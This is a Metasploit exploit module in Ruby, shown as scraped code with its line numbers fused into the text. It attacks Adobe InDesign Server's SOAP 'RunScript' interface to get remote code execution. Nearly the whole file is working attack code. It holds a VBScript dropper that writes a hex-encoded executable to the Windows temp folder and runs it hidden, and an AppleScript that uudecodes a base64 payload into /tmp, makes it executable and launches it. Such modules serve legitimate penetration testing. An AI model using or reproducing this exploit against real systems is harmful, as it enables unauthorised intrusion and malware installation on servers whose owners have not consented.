Path: blob/master/modules/exploits/multi/misc/indesign_server_soap.rb
32197 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Adobe IndesignServer 5.5 SOAP Server Arbitrary Script Execution',16'Description' => %q{17This module abuses the "RunScript" procedure provided by the SOAP interface of18Adobe InDesign Server, to execute arbitrary vbscript (Windows) or applescript (OSX).1920The exploit drops the payload on the server and must be removed manually.21},22'Author' => [23'h0ng10' # Vulnerability discovery / Metasploit module24],25'License' => MSF_LICENSE,26'Privileged' => false,27'DisclosureDate' => '2012-11-11',28'References' => [29[ 'OSVDB', '87548'],30[ 'URL', 'http://web.archive.org/web/20130119134644/http://secunia.com/advisories/48572/' ]31],32'Targets' => [33[34'Indesign CS6 Server / Windows (64 bits)',35{36'Arch' => ARCH_X64,37'Platform' => 'win'38}39],40[41'Indesign CS6 Server / Mac OS X Snow Leopard 64 bits',42{43'Arch' => ARCH_X64,44'Author' => 'juan vazquez',45'Platform' => 'osx'46}47]48],49'DefaultTarget' => 0,50'Notes' => {51'Reliability' => UNKNOWN_RELIABILITY,52'Stability' => UNKNOWN_STABILITY,53'SideEffects' => UNKNOWN_SIDE_EFFECTS54}55)56)5758register_options([ Opt::RPORT(12345) ])59end6061def send_soap_request(script_code, script_type)62script_code.gsub!(/&/, '&')63soap_xml = %(64<?xml version="1.0" encoding="UTF-8"?>65<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"66xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"67xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:IDSP="http://ns.adobe.com/InDesign/soap/">68<SOAP-ENV:Body>69<IDSP:RunScript>70<IDSP:runScriptParameters>71<IDSP:scriptText>#{script_code}</IDSP:scriptText>72<IDSP:scriptLanguage>#{script_type}</IDSP:scriptLanguage>73</IDSP:runScriptParameters>74</IDSP:RunScript>75</SOAP-ENV:Body>76</SOAP-ENV:Envelope>77)7879send_request_cgi({80'uri' => '/',81'method' => 'POST',82'content-type' => 'application/x-www-form-urlencoded',83'data' => soap_xml84}, 5)85end8687def check88# Use a very simple javascript89check_var = rand_text_numeric(10)90checkscript = 'returnValue = "' + check_var + '"'9192res = send_soap_request(checkscript, 'javascript')9394return Exploit::CheckCode::Vulnerable if res.body.include?('<data xsi:type="xsd:string">' + check_var + '</data>')9596return Exploit::CheckCode::Safe97end9899def exploit100if target.name =~ /Windows/101print_status('Creating payload vbs script')102encoded_payload = generate_payload_exe.unpack('H*').join103exe_file = Rex::Text.rand_text_alpha_upper(8) + '.exe'104wsf = Rex::Text.rand_text_alpha(8)105payload_var = Rex::Text.rand_text_alpha(8)106exe_name_var = Rex::Text.rand_text_alpha(8)107file_var = Rex::Text.rand_text_alpha(8)108byte_var = Rex::Text.rand_text_alpha(8)109shell_var = Rex::Text.rand_text_alpha(8)110111# This one creates a smaller vbs payload (without deletion)112vbs = %{113Set #{wsf} = CreateObject("Scripting.FileSystemObject")114#{payload_var} = "#{encoded_payload}"115#{exe_name_var} = #{wsf}.GetSpecialFolder(2) + "\\#{exe_file}"116Set #{file_var} = #{wsf}.opentextfile(#{exe_name_var}, 2, TRUE)117For x = 1 To Len(#{payload_var})-3 Step 2118#{byte_var} = Chr(38) & "H" & Mid(#{payload_var}, x, 2)119#{file_var}.write Chr(#{byte_var})120Next121122#{file_var}.write Chr(#{byte_var})123#{file_var}.close124125Set #{shell_var} = CreateObject("Wscript.Shell")126#{shell_var}.Run Chr(34) & #{exe_name_var} & Chr(34), 0, False127Set #{shell_var} = Nothing128returnValue = #{exe_name_var}129}130# vbs = Msf::Util::EXE.to_exe_vbs(exe)131print_status('Sending SOAP request')132133res = send_soap_request(vbs, 'visual basic')134if !res.nil? and !res.body.nil?135file_to_delete = res.body.to_s.scan(%r{<data xsi:type="xsd:string">(.*)</data></scriptResult>}).flatten[0]136print_warning "Payload deployed to #{file_to_delete}, please remove manually"137end138139elsif target.name =~ /Mac OS X/140141print_status('Creating payload apple script')142143exe_payload = generate_payload_exe144b64_exe_payload = Rex::Text.encode_base64(exe_payload)145b64_payload_name = rand_text_alpha(rand(5..9))146payload_name = rand_text_alpha(rand(5..9))147148apple_script = %(149set fp to open for access POSIX file "/tmp/#{b64_payload_name}.txt" with write permission150write "begin-base64 644 #{payload_name}\n#{b64_exe_payload}\n====\n" to fp151close access fp152do shell script "uudecode -o /tmp/#{payload_name} /tmp/#{b64_payload_name}.txt"153do shell script "rm /tmp/#{b64_payload_name}.txt"154do shell script "chmod +x /tmp/#{payload_name}"155do shell script "/tmp/#{payload_name}"156set returnValue to "/tmp/#{payload_name}"157)158159print_status('Sending SOAP request')160161res = send_soap_request(apple_script, 'applescript')162163if !res.nil? and !res.body.nil?164file_to_delete = res.body.to_s.scan(%r{<data xsi:type="xsd:string">(.*)</data></scriptResult>}).flatten[0]165file_to_delete = "/tmp/#{payload_name}" if file_to_delete.nil? or file_to_delete.empty?166print_warning "Payload deployed to #{file_to_delete}, please remove manually"167elsif !res168print_status "No response, it's expected"169print_warning "Payload deployed to /tmp/#{payload_name}, please remove manually"170end171172end173end174end175176177